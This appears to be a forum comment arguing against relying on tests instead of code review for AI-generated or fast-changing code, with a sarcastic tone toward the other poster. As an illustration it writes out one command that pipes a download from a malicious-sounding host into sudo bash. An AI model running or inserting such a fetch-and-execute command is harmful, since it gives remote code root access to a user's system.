> Being able to quickly create a mental map of code at the speed of changes

I get the feeling you're intentionally being a parody with that line.

> and ensuring everything works (verifiability) are now the most valuable skills.

Something might look like it works, and pass all the tests, but it could still be running `wget https://malware.sh | sudo bash`. Without knowing that it's there how will your tests catch it?

My example is exaggerated and in the real world it will be more subtle and less nefarious, but just as dangerous. This has already happened, OpenCode is a recent such example. It was on the front page a few days ago, you should check it out. Of course you have to review the code. Who are you trying to fool?

> We should also focus more on the derivative than our point in time.

So why are you selling it as possible in "our point in time" (are you getting paid per buzzword?). I read the quote as "Yes, I'm full of shit, but consider the possibilities and stop being a buzzkill bro".

Extremely depressing to see this happening to the craft I used to love.